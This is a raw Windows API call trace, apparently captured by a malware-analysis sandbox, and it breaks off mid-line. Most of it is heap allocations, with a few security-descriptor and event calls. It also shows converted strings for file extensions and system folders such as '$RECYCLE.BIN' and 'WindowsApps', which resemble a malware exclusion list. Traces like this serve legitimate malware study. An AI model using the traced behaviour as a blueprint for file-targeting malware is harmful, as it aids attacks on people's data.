RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x5000) returned 0x8b0048 [0206.119] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc360 [0206.119] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc360) returned 1 [0206.119] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0206.129] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b0048) returned 1 [0206.129] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7c83b0, lpbSaclPresent=0x3efa7c, pSacl=0x3efad0, lpbSaclDefaulted=0x3efa7c | out: lpbSaclPresent=0x3efa7c, pSacl=0x3efad0, lpbSaclDefaulted=0x3efa7c) returned 1 [0206.129] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc360 [0206.129] CreateEventA (lpEventAttributes=0x3efac4, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0206.129] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc360) returned 1 [0206.129] GetLastError () returned 0x0 [0206.129] LocalFree (hMem=0x7c83b0) returned 0x0 [0206.129] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc360 [0206.129] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x5000) returned 0x8b0048 [0206.129] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc318 [0206.129] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc318) returned 1 [0206.129] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0206.130] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b0048) returned 1 [0206.130] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7c83b0, lpbSaclPresent=0x3efa7c, pSacl=0x3efad0, lpbSaclDefaulted=0x3efa7c | out: lpbSaclPresent=0x3efa7c, pSacl=0x3efad0, lpbSaclDefaulted=0x3efa7c) returned 1 [0206.130] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc318 [0206.130] CreateEventA (lpEventAttributes=0x3efac4, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0206.130] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc318) returned 1 [0206.130] GetLastError () returned 0x0 [0206.130] LocalFree (hMem=0x7c83b0) returned 0x0 [0206.130] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc318 [0206.130] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x5000) returned 0x8b0048 [0206.130] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc2d0 [0206.130] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc2d0) returned 1 [0206.130] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0206.131] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b0048) returned 1 [0206.131] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7c83b0, lpbSaclPresent=0x3efa7c, pSacl=0x3efad0, lpbSaclDefaulted=0x3efa7c | out: lpbSaclPresent=0x3efa7c, pSacl=0x3efad0, lpbSaclDefaulted=0x3efa7c) returned 1 [0206.131] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc2d0 [0206.131] CreateEventA (lpEventAttributes=0x3efac4, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0206.131] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc2d0) returned 1 [0206.131] GetLastError () returned 0x0 [0206.131] LocalFree (hMem=0x7c83b0) returned 0x0 [0206.131] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2800) returned 0x8b0048 [0206.131] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbb80 [0206.131] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc2d0 [0206.131] Wow64DisableWow64FsRedirection (in: OldValue=0x3efaf8 | out: OldValue=0x3efaf8*=0x0) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2800) returned 0x8b2850 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2d8 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1f8) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2d8) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd5e8) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b2850) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2800) returned 0x8b2850 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2d8 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2c8 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd600 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2b8 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1b0 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2a8 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc168 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1f8) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2d8) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2c8) returned 1 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd5e8) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.132] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.132] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2c8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2d8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1b0) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2b8) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc168) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2a8) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd600) returned 1 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd600 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2a8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc168 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2b8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1b0 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2c8) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1f8) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2d8) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd5e8) returned 1 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2d8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2c8 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc168) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2a8) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1b0) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2b8) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd600) returned 1 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b2850) returned 1 [0206.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dd9d0 [0206.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc1f8, cbMultiByte=5, lpWideCharStr=0x9dd9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dda58 [0206.133] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd9d0) returned 1 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd600 [0206.133] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2b8 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dd9d0 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dda58) returned 1 [0206.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dda58 [0206.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc288, cbMultiByte=5, lpWideCharStr=0x9dda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9ddae0 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dda58) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2a8 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dda58 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9ddae0) returned 1 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1f8) returned 1 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2d8) returned 1 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2c8) returned 1 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd5e8) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2800) returned 0x8b2850 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2c8 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2d8 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1b0 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd298 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc168 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd288 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.134] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.134] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x20) returned 0x9dbc08 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd5e8) returned 1 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd278 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc240 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd268 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd258 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x20) returned 0x8b5058 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd248 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5e8 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd238 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc630 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd228 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc678 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd218 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc6c0 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd208 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc708 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd1e8 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc750 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd1f8 [0206.135] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc798 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1f8) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2c8) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1b0) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd2d8) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc168) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd298) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd288) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc240) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd278) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd268) returned 1 [0206.135] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd258) returned 1 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbc08) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd258 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd268 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd278 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc240 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd288 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x20) returned 0x9dbc08 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd5e8) returned 1 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd298 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc168 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2d8 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1b0 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2c8 [0206.136] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5e8) returned 1 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd248) returned 1 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc630) returned 1 [0206.136] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd238) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc678) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd228) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc6c0) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd218) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc708) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd208) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc750) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd1e8) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc798) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd1f8) returned 1 [0206.137] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b5058) returned 1 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc1f8, cbMultiByte=25, lpWideCharStr=0x9ddae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc1b0, cbMultiByte=12, lpWideCharStr=0x9ddb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc168, cbMultiByte=8, lpWideCharStr=0x9ddbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc120, cbMultiByte=6, lpWideCharStr=0x9ddc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0206.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc240, cbMultiByte=11, lpWideCharStr=0x9ddd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0206.138] 